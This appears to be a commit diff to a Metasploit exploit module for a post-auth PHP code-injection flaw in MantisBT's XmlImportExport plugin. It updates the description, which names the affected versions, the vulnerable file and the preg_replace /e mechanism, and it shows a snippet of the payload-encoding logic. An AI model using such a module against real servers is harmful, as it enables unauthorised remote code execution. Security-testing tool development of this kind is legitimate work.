update description and fix typos

Author: itsecurityco

modules/exploits/multi/http/mantisbt_php_exec.rb

@@ -15,8 +15,9 @@ def initialize(info = {})
     super(update_info(info,
       'Name'           => 'MantisBT XmlImportExport Plugin PHP Code Injection Vulnerability',
       'Description'    => %q{
-        When importing data with the plugin, user input passed through the "description" field (and the "issuelink" attribute) of the uploaded XML file isn't properly sanitized before being used in a call to the preg_replace() function which uses the 'e' modifier.
-        This can be exploited to inject and execute arbitrary PHP code when the Import/Export plugin is installed.
+        This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
+        The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
+        This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine.
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -38,7 +39,7 @@ def initialize(info = {})
       [
         OptString.new('USERNAME', [ true, 'Username to authenticate as', 'administrator']),
         OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', 'root']),
-        OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '']),
+        OptString.new('TARGETURI', [ true, 'Base directory path', '']),
       ], self.class)
   end
 
@@ -57,7 +58,7 @@ def exec_php(php_code, is_check = false)
     # remove comments, line breaks and spaces of php_code
     payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
 
-    # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
+    # clean b64 payload
     while Rex::Text.encode_base64(payload_clean) =~ /=/
       payload_clean = "#{ payload_clean } "
     end